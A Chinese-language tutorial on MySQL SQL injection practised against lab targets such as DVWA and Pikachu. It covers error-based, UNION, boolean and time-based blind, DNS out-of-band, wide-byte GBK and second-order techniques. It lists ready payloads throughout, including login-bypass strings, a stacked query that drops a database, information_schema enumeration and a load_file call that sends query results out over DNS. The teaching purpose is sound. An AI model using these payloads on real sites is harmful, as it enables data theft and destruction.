SQL注入原理与信息获取及常规攻击思路靶场实现
很早的时候就写了,权当备份吧
Web程序三层架构
表示层 :与用户交互的界面 , 用于接收用户输入和显示处理后用户需要的数据
业务逻辑层 :表示层和数据库访问层之间的桥梁 , 实现业务逻辑 ,验证、计算、业务规则等等
数据访问层 :与数据库打交道 , 主要实现对数据的增、删、改、查
而SQL注入恰好是发生在与数据库交互的过程中,精心构造的语句通过逃避业务逻辑层的筛选,再经过后端的拼接形成恶意的SQL语句,以达到恶意入侵的目的,但是由于每个网站的数据访问层逻辑差异,我们需要对对应语句格式进行猜测,进行试错
SQL注入漏洞原理
SQL注入的产生是由于服务器在处理SQL语句时错误地拼接用户的提交参数,打破原有的SQL执行逻辑,导致攻击者可以部分或完全掌控SQL语句的执行效果,只要我们能在注入位置构造正确闭合,就可以利用SQL注入攻击目标
SQL注入的威胁来自于欺骗:
- 攻击者欺骗服务器,使服务器认为自己是普通用户
- 攻击者提交恶意参数欺骗服务器,让服务器认为是正常的参数
SQL注入是怎么发生的,我们下面我们来看个例子:
假如一个网站在用户登录时,传递参数 id
与 passwd
,那么后端将会在数据库中查找有关内容,即拼接sql语句,我们就可以猜测,在数据访问层可能进行了如下操作(注意此时我们假设后端未作传参限制)
select ... from ... where id and passwd
那么我们接下来的想法就很简单,如果我们已经知道一个id,或者只想获取这一个用户的数据,那么只要想办法将目标的passwd
参数失效即可,而让参数失效,将它注释掉将是最好的选择,则构造以下语句:
select ... from ... where id = '已知id' -- ' and passwd = ''
然后你会发现 最后的passwd
被注释掉了,因为我们假设后端未作传参限制,则我们直接在用户id
输入处输入以下内容即可 已知id' --
,当id后面的单引号与后端拼接时加上的单引号构成一对时(SQL语句用单引号表示字符串),SQL语句中会认为第一个参数id已经结束,后面读取到--
及其后面的空格时,它会认为passwd
已被注释掉了,即passwd
不起作用,实际进入数据库的语句如下:
select ... from ... where id = '已知id'
需要注意的是--
后面必须要有空格才能生效(SQL语法的规则),如果说我们不知道id,也不知道密码,又应该如何构造呢,前文提到,where后面我们可以认为是一个逻辑表达式,那么只要保证它是一个重言式即可,可以如下构造:
select ... from ... where id = ''or 1=1 -- ' and passwd = ''
可以注意到 id
里面实际上是没有参数的,而or 1=1 --
恰好将passwd
注释掉,将where后面的有效部分形成了一个重言式,实际进入数据库的语句如下:
select ... from ... where id=''or 1=1
此时如果后端也没有对返回数据做出限制,那么我们将直接在前端看到我们想要获取到的数据
同时我们甚至还可以利用SQL语句的多句执行特性构造出以下语句(假设我们通过其他手段得知数据库名,或关键字段)
select ... from ... where id = ''or 1=1; drop database user -- ' and passwd = ''
实际传入数据库为
select ... from ... where id = ''or 1=1;
drop database user ;
我们将直接干掉该网站的名为user
的数据库,但是部分数据库不支持多语句执行,需要注意
SQL注入攻击分类
SQL注入攻击通常可以分为以下几种分类:
- 基于错误的注入(Error-based Injection):利用SQL语法错误或异常来获取数据库中的信息,比如通过构造一个错误的查询来获取数据库错误信息。
- 基于盲注的注入(Blind Injection):攻击者无法直接获取查询结果,但可以通过不同的方式,如延时注入(通过延长查询执行时间来判断条件真假)、布尔盲注(通过真假条件来判断条件真假)等方法来获取数据库信息。
- 联合查询注入(Union Query Injection):利用UNION关键字将攻击者构造的查询结果与原始查询结果合并返回,从而获取数据库中的信息。
- 时间盲注(Time-Based Blind Injection):通过构造恶意的SQL语句,使得数据库在执行时产生延时,从而判断条件真假。
- 堆叠查询注入(Stacked Query Injection):在一次数据库查询中执行多个SQL语句,从而绕过输入过滤和限制,执行恶意操作。
- 二次注入(Second-order Injection):攻击者利用应用程序在处理用户输入时未充分检查的漏洞,将恶意代码存储在数据库中,当后续处理这些数据时再次执行,从而实现注入攻击。
至于其他的注入分类则是依据注入的位置(注入点)不同而分类的
检测SQL注入位置
对于计算机程序来说,SQL注入无非就是用户输入的内容存在差别,那么按注入时输入的内容来看,无非就是数字类型与字符型类型,我认为不应该纠结于注入的分类,只需要注意一些可能出现注入的点即可,我们只需要知道,凡是用户可以进行数据提交,并且数据可能存储进数据库的点,均有可能发生SQL注入,就可以我们通常会以以下两种形式进行初步测试:
- 拼接单引号等不闭合字符:
select ... from ... where xxx=xxx'
- 拼接永真式与永假式联合检测:
select ... from ... where xxx=xxx and 1=1
select ... from ... where xxx=xxx and 1=2
还有一种较为隐蔽的注入检测,但是仅能作为低风险提示,部分数据库在运算时执行较大数学运算时会出现整数溢出问题,如较低版本的MySQL,我们在MySQL执行:
select 99999999999999999999+21
MySQL抛出以下错误:BIGINT value is out of range in ‘99999999999999999999+21’
MySQL数据库的系统表
对于SQL注入,我们的主要目的是为了获取信息,所以我们必须先了解每种数据库的系统表所具有的内容,以快速获取信息:
系统库的作用及描述
- information_schema:
information_schema
是一个系统数据库,包含了关于数据库服务器的元数据信息。它存储了关于数据库、表、列、索引、权限等方面的信息。information_schema
可以用于查询数据库结构、权限信息和其他数据库对象的详细信息。 - mysql:
mysql
数据库包含了MySQL服务器的配置和授权信息。它存储了用户、权限、角色、密码等数据,用于身份验证和访问控制。通过mysql
数据库,可以管理MySQL的用户和授权。 - performance_schema:
performance_schema
是一个用于性能监测和分析的系统数据库。它提供了关于MySQL服务器性能的详细信息,包括查询执行、锁定、资源消耗等方面的数据。performance_schema
可用于分析和优化MySQL的性能。 - sys:
sys
是MySQL 8.0版本引入的数据库,旨在提供更方便的性能分析和诊断工具。它建立在performance_schema
和其他信息基础上,提供了一组存储过程和视图,以便更轻松地分析和理解MySQL的性能数据。
information_schema
在利用漏洞时,我们常常利用此数据库中以下元数据表:
表名 | 描述 |
---|---|
TABLES | 用于查找数据库中存在的表格信息,包括表名和存储引擎等。 |
COLUMNS | 用于查找表格的列信息,包括列名、数据类型等。 |
KEY_COLUMN_USAGE | 用于查找表格的外键和主键信息,可以帮助黑客了解数据库表格之间的关系。 |
TABLE_CONSTRAINTS | 用于查找表格级别的约束信息,包括主键、外键等约束。 |
VIEWS | 用于查找视图的信息,包括视图名、定义等。 |
ROUTINES | 用于查找存储过程和函数的信息,包括名称、参数等。 |
SCHEMATA | 用于查找数据库中的模式(schema)信息,包括数据库名等。 |
系统元数据库mysql
表名 | 描述 |
---|---|
user | 存储MySQL服务器的用户账户信息,包括用户名、密码、主机等。 |
db | 存储授权信息,指定哪个用户有权访问哪个数据库。 |
tables_priv | 存储表级别的权限信息,指定哪个用户对哪个表有特定权限。 |
columns_priv | 存储列级别的权限信息,指定哪个用户对哪个表的哪些列有特定权限。 |
procs_priv | 存储存储过程和函数的权限信息。 |
host | 存储允许连接到MySQL服务器的主机信息。 |
global_priv | 存储全局权限信息,指定哪个用户具有特定的全局权限。 |
func | 存储MySQL的内置和用户定义的函数信息。 |
time_zone | 存储时区信息。 |
time_zone_name | 存储时区名称信息。 |
报错注入原理
updatexml
报错
updatexml
函数用于更新xml
文档内容,updatexml
函数有三个参数:第一个参数是xml
文档的对象名称,第二个参数是**xpath
字符串**,第三个参数是用来替换xpath
中查找到字符串的新内容,但是该函数有个特性,他会执行我们插入在xpath
中的SQL字段,其中updatexml
中的xml文档名称在注入时一般可以乱写,只要让它报错即可,并且支持回显示例用法如下:
select ... from ... where ... and updatexml(... ,concat(0x3e,[函数或语句]), ...)
示例updatexml
构造:
select ... from ... where id='' and passwd=''
对于以上语句,我们可以在id处构造如下语句:' or updatexml(1,concat(0x3e,version()),1) --
最后加个空格,形成:
select ... from ... where id='' or updatexml(1,concat(0x3e,version()),1) -- ' and passwd=''
将返回报错语句:XPATH syntax error: '>[版本号]'
extractvalue
报错
extractvalue
用于查找xml
文档中的内容
extractvalue
函数有两个参数:第一个参数是xml
对象名称,第二个是**xpath
字符串**,它与updatexml
具有相似的特性这里不做过多赘述,我们一样可以如上构造:
select ... from ... where ... and extractvalue(... ,concat(0x3e,[函数或语句]))
select ... from ... where id=''or extractvalue(1,concat(0x3e,version())) -- ' and passwd=''
你可能注意到了,我们在对应的
xpath
字符串位置使用了concat(0x3e,[函数或语句])
的形式,在我们想要的语句前拼接了一个16进制的ascii码,这是因为我们为了使xpath
处报错,使用了非标准的xpath
路径,为了使报错信息完整,故我们使用了这一方法,要获取其他字符的16进制ascii码可使用python:
print(hex(ord(字符)))
快速获取
floor
函数报错
floor(N)
函数用于返回小于或等于N的一个最大整数,floor(13.5)
返回13
。
count()
函数用于统计行数,通常有count(*)
,count(1)
,count(列名)
,其中前两者统计时会将数据为NULL值算入,而count(列名)
不会算入NULL
rand()
函数用于返回一个伪随机值(浮点型):rand()
函数括号中可以带有一个初始值,我们称之为种子,当不携带种子时rand()
将返回一个0-1
间的随机值,携带种子后,将会返回一个固定的随机序列
floor(i + rand() *(j − i))
两者嵌套使用,将返回一个n
值i <= n < j
,注入时我们利用的是多次运行这个语段所产生的随机数列
group by
用来筛选出其后跟上的条件符合的数据,并且进行分组,它在分组时会产生一张表,用于储存数据(可以暂时理解成一张临时数据表),并且表在查询和写入是两个过程,先查询后写入
而floor
报错注入正是利用这个特性,在语句中嵌入特定floor
与rand
语句,达到多次计算产生0101011的随机数列,于是我们有以下测试语句:
select 1 from (select count(*),concat(version(),floor(rand(0)*2)) as x from information_schema.tables group by x)as y;
对于实际情况有以下构造:
' or (select 1 from (select count(*),concat(version(),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x)as y) #
在此语句中,我们构造了两个嵌套的select语句,原因是group by产生的是一张数据表,当我们注入时,数据库服务器的查询语句筛选的特定的某个条件,而不是将一张表作为条件,所以我们进行嵌套,返回表中的数据
使用count
用来进行数量统计产生表中的数据,利用它与group by将有相同特征数据合并的特性,保证每个不同特征的键值唯一
重点:floor(0+rand()*2)
会产生0与1的随机数,在产生表时的查询过程中运算一次,写入过程中又运行一次,产生固定序列011011011
则会有以下效果(为叙述方便暂时忽略拼接的version
函数):
-
若第一次产生0,表中无数据,直接记录。
-
第二次产生1,查询有无1,要将它进行计数,并且写入表,写入表时产生1,正常进行,count计数
-
第三次产生0,查询有0,写入时产生1,此时产生冲突,数据库会默认保存1的数据,在新的行中
此时新的列表中有以下内容:
KEY | COUNT |
---|---|
0 | 1 |
1 | 1 |
1 | 2 |
全过程总共5
次计算,可以看出数据库里至少要有三条数据,才能成功,否则查找终止不会产生冲突键值
UNION注入原理
利用select 1,2,3...
进行试探
在注入过程中,我们通常不知道前端与后端的交互会过滤掉哪些字符,我们可以用select 1,2,3 ...
来试探,在第二个select语句中的数字是任意的,可重复,可乱序,数量可变,如果仅仅使用select 1,2,3
将返回一张1行3列的表,并且表名和数据名全是我们select
中的数字,我们可以通过对应的数字的缺位来判断返回的字段数
- union语法:
union
用于合并两个以上语句的搜索结果作为数据集,但是union
中的select
语句必须有相同的列,并且每列的数据类型必须一致,但是union语句所形成的数据集不会有重复内容,如果要显示重复数据,需要使用union all
,通常我们使用以下语句:
select ... from ...
union
select 1,2,3,4 ...
select ... from ...
union all
select 1,2,3,4 ...
- 进行注入
union注入一般用于检测出注入位置查询了几个参数,我们以dvwa为例,构筑语句:
select ... from ... where ... union select 1 # xxxx
我们直接抓包修改参数id
为:'union select 1 #
然后放包得到数据库查询参数不一致的回显
然后我们就依次进行反复尝试,增加查询数,在输入'union select 1,2 #
时得到:
可以发现,查找数据为两条,回显数据也是两条,为1,2位置,那么接下来就可以对两个位置进行尝试。
我们输入:'union select (select version()),2 #
获得版本号(其他查询可自行尝试)
注意:union查询可以使用数字,字母或者null作为select后的试探字段,例如:
select ... from ... where ... union select 'a','b' # xxxx
select ... from ... where ... union select null,null # xxxx
我们在试探查询字段数时还有一种方法,我们可以如下进行构造:
select ... from ... where ... order by 1 # xxxx
当我们超过了查询字段数时,如在dvwa中输入 'order by 3 #
,得到报错:
可以由此逐步推断出查询字段数为2,但是在使用union注入时,不能够在order by后面进行注入
布尔盲注原理
布尔盲注常见的就是and 1=1
,and 1=2
,or 1=1
利用这些逻辑表达式将用于查询的SQL语句变为永真式或永假式以此来获取更多的数据,MySQL通常还有以下的注入方法:
运算 | Payload |
---|---|
异或 | 1 xor 1=1 |
按位与 | & 1=1 |
与 | && 1=1 |
按位或 | | 1=1 |
或 | || 1=1 |
但是对于多数Web应用,1=1
此类往往受到屏蔽,我们可以利用其他语句绕过:
运算 | Payload |
---|---|
大于 | 1>2 |
小于 | 1<2 |
大于等于 | 4> =3 |
小于等于 | 3<=2 |
不等于 | 5<>5 |
不等于 | 5!=5 |
兼容空值等于 | 3<= >4 |
亦或者使用模糊查找:
运算 | Payload |
---|---|
在 … 和 … 之间 | 5 is between 1 and 6 |
模糊匹配 | 1 like 1 |
空值断言 | 1 is null |
非空断言 | 1 is not null |
正则匹配 | 1 is regexp 1 |
数组查找 | 1 in (1) |
- 利用布尔注入发起攻击
注意:布尔注入返回到的都只有真或假两种情况,要么永真式+and+payload,要么永假式+or+payload。只有尽可能转化为真或假两种情况,才能获取更多有用的信息
获取数据库的数目,我们在注入点后面拼接:
1 and (select count(*) from information_schema.schemata)>a # a为数据库的数量估计数目
枚举获取第一个数据库的名称,我们进行拼接:
1 and (select ascii(mid(schema_name,1,1)) from information_schema.schemata limit 0,1)>a
# a为猜测的ascii码值
首先使用mid函数,它有三个参数:
mid(待查找字符串,起始字符位置,匹配的字符串长度)
,limit接收两个参数:limit(起始行的上一行,筛选行数目)
,则上述语句是对第一个数据库的第一个字符进行测试
获取指定数据库security
表的数目:
1 and (select count(*) from information_schema.tables where table_schema='security')>a
# a为表的数量估计数目
同理猜测表名:
1 and (select ascii(mid(table_name,1,1)) from information_schema.tables where table_schema='security')>a # a为猜测的ascii码值
然后获取字段:
1 and (select count(*) from information_schema.columns where table_name='user' and table_schema='security')>a # a为字段的数量估计数目
猜测字段:
1 and (select ascii(mid(column_name,1,1)) from information_schema.columns where table_name='user' and table_schema='security')>a
# a为猜测的ascii码值
以上就是常见的发起布尔注入攻击的方式,但是从上面的讲解可以发现,这种攻击会发起大量类似的请求,在进行防御时需要注意,下面介绍时间注入攻击也是如此
皮卡丘靶场布尔注入关卡,我们已知有一个用户kobe,我们就可以利用and
拼接来进行布尔盲注:
kobe' and (length(database())=4)#
因为存在布尔注入,故在and后面的表达式为真时将返回kobe原有的信息,而在后面条件为假时将不会返回数据,接下来继续拼接测试:
kobe' and (length(database())=7)#
返回了kobe的信息,则数据库名的长度为7,我们继续测试数据库的名称
kobe' and ascii(mid(database(),1,1))<111#
我们继续拼接:
kobe' and ascii(substr(database(),1,1))=112#
即数据库名的第一个字母的ASCII码值为112,为字母p
时间盲注原理
时间注入攻击利用的是数据库响应时间来进行攻击的一种方式,通常是利用数据中可以延长相应时间的函数来实现,通常来讲只要网站响应时间大于设定的时间,即可认为存在时间盲注漏洞,但是部分网站会设置强制返回时间
注意:MySQL 的优化器在执行查询时会尝试优化查询计划,以提高查询性能。在这种情况下,MySQL 可能会在查询优化过程中预先计算
IF
函数的结果,因此不会真正触发SLEEP
函数的延时操作。这是为了避免潜在的性能问题。所以直接在终端运行并不能达到延时的效果
- 利用sleep函数盲注
1 and sleep(3)
sleep
函数接收一个参数,其单位为秒
- 利用benchmark
1 or benchmark(函数执行次数,运行的表达式)
1 and benchmark(函数执行次数,运行的表达式)
benchmark函数用于衡量数据库的性能指标,当运行次数足够多时,也会造成数据库缓慢响应,虽然benchmark函数的返回值总为0,但是在使用时仍会在执行对应次数后得到返回值
- 笛卡尔积延时
select * from 表1,表2
数据库在查询两张表时,遵循将结果以离散数学中的笛卡尔积方式进行合并成一张结果表,只要两张表的数据结果合并后足够大,也可以造成响应时间延长
- 特殊:数据库与网站长连接情况下的锁定盲注
select get_lock('锁名',超时时间)
get_lock函数用于向MySQL请求一个锁,如果在超时时间内获取到锁,将会立即返回1,否则将在超时时间后返回0,在满足长连接的条件下,我们在第一个会话中使用该语句select get_lock('test',1)
,请求一个锁在1秒内返回,获取成功后,我们再新建一个与网站的会话中使用select get_lock('test',5)
,获取一个和前一个会话中同名的锁,此时由于前一个会话占用了该锁,则此时第二会话中的获取必然是失败的,即数据库响应时间延长(如果第一会话中直接获取失败该锁(有可能恰好其他会话占用该锁,虽概率极小),可修改超时时间继续测试(后续该锁可能会由于其他会话结束而释放,故多测试几次),倘若仍然成立则可以直接判定存在时间盲注漏洞
利用时间盲注发起攻击
我们利用if
函数进行攻击(这里仅以sleep进行演示猜测当前数据库名):
1 and if (ascii(mid(database(),1,1))=a,sleep(3),1) # a为猜测的数据库名第一个字母的ascii码值
if
函数接收三个参数:if(条件语句,为真返回,为假返回)
,此语句表示当ascii(mid(database(),1,1))=a
成立时数据库执行sleep(3)
,我们在输入框中拼接:
' or (if(ascii(mid(database(),1,1))>111,sleep(3),1))#
发现十分明显的延时,即数据库名的的第一个字母ASCII
码值大于111
DNS外带注入
dns外带注入属于一种较为特殊的注入手段,它是将查询的结果通过其他通道带出来的操作方式,但是此注入需要有一定的条件:数据库服务器必须是windows平台,mysql的secure_file_priv
必须允许导入导出操作
在 MySQL 数据库中,
secure_file_priv
是一个配置选项,用于指定允许从哪个目录加载或保存文件。这个选项可以帮助增强数据库的安全性,限制了从数据库服务器上可以访问的文件的范围。这主要用于防止未经授权的访问或滥用,例如防止用户将恶意文件加载到数据库服务器上。以下是
secure_file_priv
配置选项的释义:
- 如果
secure_file_priv
被设置为一个目录路径,例如:/var/lib/mysql-files/
,那么 MySQL 只允许从这个目录加载或保存文件。这意味着在查询中使用LOAD DATA INFILE
或SELECT ... INTO OUTFILE
等语句时,只能从指定目录读取或保存文件。- 如果
secure_file_priv
被设置为一个空字符串,则 MySQL 允许从任何位置加载或保存文件,这可能会增加数据库的安全风险,因为用户可以访问服务器上的任何文件。通过设置适当的
secure_file_priv
值,数据库管理员可以更好地控制数据库服务器上文件的访问权限,从而减少潜在的安全风险。例如,可以将secure_file_priv
设置为一个特定的目录,仅允许用户在这个目录中加载或保存文件,从而限制了潜在的安全漏洞。注意:在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,配置文件中不会出现该条目,需要自行添加,运行以下语句查看:
show global variables like '%secure%';
我使用的是5.7.26,默认情况下为NULL:
mysql> show global variables like '%secure%'; +--------------------------+-------+ | Variable_name | Value | +--------------------------+-------+ | require_secure_transport | OFF | | secure_auth | ON | | secure_file_priv | NULL | +--------------------------+-------+ 3 rows in set, 1 warning (0.01 sec)
在MySQL的配置文件中增加
secure_file_priv=
后重启MySQL:mysql> show global variables like '%secure%'; +--------------------------+-------+ | Variable_name | Value | +--------------------------+-------+ | require_secure_transport | OFF | | secure_auth | ON | | secure_file_priv | | +--------------------------+-------+ 3 rows in set, 1 warning (0.00 sec)
load_file使用
LOAD_FILE
是 MySQL 中的一个函数,用于从文件系统中加载文件的内容并将其作为字符串返回。这个函数的一般语法如下:
LOAD_FILE(file_name)
file_name
: 指定要加载的文件的路径和名称。
请注意以下几点:
- 权限: MySQL服务器必须具有文件读取权限,否则
LOAD_FILE
函数可能会返回NULL
或抛出错误。具体来说,MySQL进程的操作系统用户需要有访问该文件的权限。 - 路径: 如果提供的文件名是绝对路径,MySQL会尝试从该路径读取文件。如果是相对路径,MySQL会从其数据目录开始搜索文件。并且路径使用正斜杠
/
- 返回值: 如果成功读取文件,
LOAD_FILE
返回文件的内容作为字符串;否则返回NULL
。
例如,假设你有一个名为 example.txt
的文件,它位于MySQL数据目录下的 files
子目录中,可以使用以下语句加载该文件:
SELECT LOAD_FILE('files/example.txt') AS file_content;
数据目录路径
在MySQL的配置文件中有一项(以phpstudy展示):
datadir=D:/PhpStudy/Extensions/MySQL5.7.26/data/
load_file在允许下默认读取该目录,比如我在其中放一个flag.txt
文件然后读取:
mysql> select load_file('./flag.txt');
+------------------------------+
| load_file('./flag.txt') |
+------------------------------+
| flag={'this is a flag file'} |
+------------------------------+
1 row in set (0.00 sec)
DNS注入检测
我们在注入点拼接:
select load_file('\\\\域名\\共享路径') # 书写时注意路径中的\转义
此处使用的是Windows下的UNC语法,UNC(Universal Naming Convention)是一种用于标识和访问网络资源的命名约定。它通常用于指定共享文件夹、打印机和其他网络设备的路径。UNC路径提供了一种统一的方式来标识网络上的资源,无论这些资源位于哪台计算机上。
UNC路径的基本语法如下:
\\server\share\path\filename
\\server
:表示网络上的服务器名称或IP地址。它指定了资源所在的计算机。share
:表示共享资源的名称,如共享文件夹或打印机共享的名称。path
:表示共享资源内的路径,即文件夹层次结构。可以是一个或多个文件夹名称,用反斜杠\
分隔。filename
:表示文件名或目标资源的名称。以下是一些示例UNC路径:
\\server\share
:表示访问位于server
计算机上名为share
的共享资源的根目录。\\192.168.0.100\share\documents
:表示通过IP地址访问位于192.168.0.100
计算机上名为share
的共享资源中的documents
文件夹。\\fileserver\shared\files\report.docx
:表示访问位于fileserver
计算机上名为shared
的共享资源中的files
文件夹中的report.docx
文件。UNC路径在网络环境中广泛使用,可用于访问共享文件夹、打印机、网络存储设备等。它提供了一种统一的命名约定,使得在网络上定位和访问资源变得更加方便和可靠。
当上述语句执行后,存在漏洞则会在目标域名的DNS服务器上收到一条解析记录,不过需要注意的是在使用域名时,域名最好尽量生僻,减少无辜用户解析到目标主机,降低干扰
这种不通过直接观察页面来实现的注入,又称盲打技术,除去DNS请求外,HTTP,RMI等等也被常用来进行注入
利用DNS注入发起攻击
首先我们应该注意域名的编码和长度限制问题,我们可以使用最常见的HEX编码我们的域名
域名对字符的限制包括以下几个方面:
字符集限制:域名只能使用ASCII字符集,包括字母(a-z,不区分大小写)、数字(0-9)和连字符(-)。
字符长度限制:域名的总长度限制为63个字符。这个长度不包括顶级域名(如.com、.net等)部分。
标签长度限制:域名由多个标签(Label)组成,标签之间使用点号(.)分隔。每个标签的长度限制为63个字符。
首尾字符限制:域名的标签不能以连字符(-)开头或结尾。
大小写不敏感:域名在解析时是大小写不敏感的,即
www.example.com
和WWW.EXAMPLE.COM
被视为相同的域名。
利用DNS注入发起攻击
我们可以将如下语句进行拼接:
select load_file(concat('\\\\',(注入语句),'域名及共享名/路径')) # 通常进行DNS注入利用点即域名前的部分
例如我们要获取当前数据库的名称:
select load_file(concat('\\\\',(select database()),'test.com/path'))
HTTP报文注入
当数据库需要记录HTTP报文中user-agent
,get
,post
,cookie
等字段时未作出严格过滤的情况下,将会出现此类注入。所谓的GET注入,POST注入,Cookie注入,Referer注入,User-Agent注入等就是依据发生注入的位置(注点)不同而分类。由于HTTP报文本身是为了更好的传递数据,所以在它的任何位置都有可能出现注入,下面我们以皮卡丘靶场演示(注意语句不能够过长,超出限定范围,故此处不做过多演示,仅获取数据库版本信息),在提示中获取正确的用户名和密码,然后我们登录得知数据库记录了以下信息:
接下来使用burp找到对应的数据报进行测试(一般来讲此类注入多为insert或者update注入),我们在user-agent字段修改,并且得到以下报错结果:
test' or extractvalue(1,concat(0x3e,version())) or ' # 使用典型的insert注入
SQL动词注入
所谓的SQL动词注入实际上是指的注入时SQL语句所采取的行为,如插入查询语句的select注入,更新数据的update注入,插入新数据的insert注入,删除数据的delete注入,其中后三者通常使用报错注入的方式进行(有时也可采取时间盲注)。
- insert注入与update注入演示
我们先来看一条正常的insert语句结构和示例:
insert into 表名(字段1,字段2,字段3, ...) values (数据1,数据2,数据3, ...);
insert into users (id, username, email) values (1, 'user1', 'user1@example.com'); # 语句示例
用户的输入一般集中在values后的值当中,我们在此处通常使用or来形成闭合,让该语句在进入数据库管理软件执行时报错:
insert into users (id, username, email) values (1, 'or 报错语句 or', 'user1@example.com');
下面我们直接在皮卡丘靶场演示,随便填写数据,然后抓包,我们在username进行拼接:
' or extractvalue(1,concat(0x3e,version())) or '
接下来我们建立一个正常账户测试我们的update注入:
点击修改信息,随便填一些信息然后抓包,对性别处进行注入,放出该修改后的数据包,得到应答:
- delete注入
我们先看正常的delete语句:
delete from 表名 where 筛选条件;
由于delete是一种对符合条件的筛选删除操作,所以我们不能够在其后方执行除报错语句之外的查询语句,下面我们直接以皮卡丘靶场演示,进入对应模块,点击删除进行抓包,发现每次删除提交的id不一样,故我们选择在id处进行拼接:
我们对其进行拼接,然后因为是GET类型处拼接,我们需要对URL进行编码,放出数据包:
注意,在进行SQL动词注入时,需注意对应的字段长度限制,当超出字段长度,mysql将会抛出截断异常
SQL位置注入
实质上与上面的注入是类似的,无非就是构造的注点位置不同
- 条件注入(发生在where处的注入)
在where后面通常跟随的是逻辑判断语句,故直接查询的方式的方式很少,通常是利用报错注入或时间盲注进行实现:
select * from 表名 where 1=1 and (select updatexml(1,concat(0x7e,version()),1) ); # 在后面使用and或or拼接语句select * from 表名 where 1=1 and (if(ascii(mid(database(),1,1))> ascii码值 ,sleep(3),1));
- order by注入
和where类似但是更加局限
select * from 表名 order by id,if(ascii(mid(database(),1,1))> ascii码值 ,sleep(3),1);
select * from 表名 order by id,1 and updatexml(1,concat(0x7e,version()),1);
- 数字型注入(整型注入)
由于数字不需要闭合,则可以直接构造:
select ... from ... where id=1 or 1=1
- 字符型注入
需要闭合参数后的引号:
select ... from ... where id='xx' or 1=1''; # 在正常语句中拼接了xx' or 1=1 '
select ... from ... where id='xx' or 1=1 #
- 搜索型注入
select ... from ... where 参数 like '%待匹配值%'; # 这是一条正常的查询语句
我们对于搜索类语句,我们需要构造的是待匹配值的部分:
select ... from ... where 参数 like '%xx%' or 1=1 '%'; # 在正常语句中拼接了xx%' or 1=1 '
select ... from ... where 参数 like '%xx%' or 1=1 #;
在皮卡丘靶场的搜索型注入关卡执行结果如下:
- in注入
正常的sql语句:
select ... from ... where 参数 in(....)
构造闭合:
select ... from ... where 参数 in(1,2,3) and (1)=(1); # 构造了闭合 3) and (1)=(1
select ... from ... where 参数 in('1','2','3') and ('1')=('1'); # 构造了闭合 '3') and ('1')=('1'
以皮卡丘靶场xx注入关卡示例,先构造payload:
3') or ('1')=('1
然后构造放包:
所谓的万能密码其实和上面类似。实际上就是构造闭合为永真式,在提到皮卡丘靶场的字符型关卡时,我们构造了:
select ... from ... ... id='' or 1=1 #...
这实际上就是一种类似于万能密码的东西,在早期网站中,我们经常构造如下语句:
select ... from ... ... username='admin' and passwd='a' or 'a'='a';
可以看出本质上还是一样的,下面写几个常见万能密码:
序号 描述 1 a’ or ‘a’='a 2 a’ or 1# 3 a"or"a"="a 4 123 or 1 5 a"'or"‘a"’="'a 6 ‘or’ 7 &mo#
&mo#
的产生:早期一部分网站开发人员开始对数据库存储的管理员密码进行加密,被称为“admin5 加密”,也叫“ASCII逐位加密”。这种加密算法类似于恺撒密码,是一种对称加密算法。加密过程是对密码的第一位 ASCII 码加 1,第二位 ASCⅡ码加2…第n位ASCⅡ码加n。那么,对于“admin”这样的字段,经过加密后就变为“bfpms”了。
对于使用这种方法加密的网站,用户提交的密码会经过 admin5 加密,再代入 SQL 语句中查询。攻击者可以反向推导, 提交一个这样的密码:“&mo#”。经过 admin5 加密以后,变成了“‘or’”,最后进入数据库语句中。SELECT * FROM users WHERE username='admin' and password=''or''
值得一提的是,现在的密码大多数以哈希等算法加密,考虑用户名处拼接也是个不错的选择
宽字节编码注入
在处理用户输入字符串时,通常会将输入中的字符进行转义,将预定义字符(预定义字符包括:单引号、双引号、反斜杠、NULL)之前添加反斜杠进行转义,并返回处理完毕后的字符串。这样构造普通的sql语句就不能够注入了,但是我们可以借助MySQL在使用GBK编码的时候,由于GBK是多字节编码,会认为两个字节代表一个汉字(前一个ASCII码要大于128,才到汉字的范围)从而绕过转义
以\
转义为例,我们输入一个常规的字符型注入语句构造:
select ... from ... where id='xx' or 1=1 #' ...
那么转义后则:
select ... from ... where id='xx\' or 1=1 #' ...
可以发现我们构造的字符串失效了,接下来我们尝试宽字节注入
- 构造宽字节注入
GBK编码是一种中文字符集编码方式,它是在GB2312编码基础上的扩展。GBK编码可以表示全部的中文字符,包括简体字和繁体字,并且还包括了一些其他国家的字符,如日文、韩文等。
GBK编码使用2个字节来表示一个字符,其中第一个字节的范围是0x81-0xFE,第二个字节的范围是0x40-0xFE。GBK编码的字符集共收录了21886个汉字和图形符号,其中包含了6763个简体汉字和682个繁体汉字。
GBK编码在计算机领域广泛使用,尤其是在中国大陆和台湾地区。它不仅可以满足中文字符的需求,还可以兼容ASCII编码,因此可以在同一个文本中同时包含英文、数字和中文字符。
我们可以在可能转义的地方嵌入一些可以构成gbk编码条件的特殊字符串,那么什么样的字符串是这样的字符串呢,我们可以输入一些常用的字符串,运行下列脚本:
# 输入一个普通字符串
string = input("输入字符串:")# 将字符串以GBK编码方式转换为字节序列
byte_sequence = string.encode('gbk')# 遍历字节序列,以"%xx"形式输出
output = ""
for byte in byte_sequence:output += "%{:02X}".format(byte)print("输出字符串:", output)
测试后输入\
,可知其为%5C
,我们常见的构造则是利用%df
来进行构造,我们可以用python来看一下输出的结果:
import urllib.parse# 定义一个"%xx"形式的字符串
encoded_string = input("输入字符串:").upper()# 将"%xx"形式的字符串转换为普通字符串
decoded_string = urllib.parse.unquote(encoded_string, encoding='gbk')print("输出字符串:", decoded_string)
得到运行结果:
输入字符串:%df\
输出字符串: 運
则当我们加入sql语句后则为:
select ... from ... where id='xx%df\' or 1=1 #' ... # 由于%df\是一个字符使得此处的转义失去了作用
我们以靶场演示,在皮卡丘靶场的宽字节注入处抓包写入,这里需要注意宽字节的URL编码问题,直接编码会导致注入不成功:
%df\'+or+1%3d1+%23
%df\
的拼接字符在其他的编码中的编码表:
GBK十进制:57180
GBK十六进制:DF5C
Unicode十进制:36939
Unicode十六进制:904B
数据库二次注入
所谓的二次注入发生在先将数据存储进数据库,然后再将数据取出带入SQL语句查询。这种漏洞实际情况下很难发现,一般是白盒审计得出,下面我们详细论述这一过程:
- 数据库收到我们传入的
xx'
,然后将其转义为xx\'
,然后存入数据库时,据大多数数据库会将数据还原为xx'
存入 - 第二步需要一定条件,需要我们的框架有将数据再次取出查询这一行为,在查询时将可能发生以下语句:
select ... from ...... xx = 'xx'' ....;
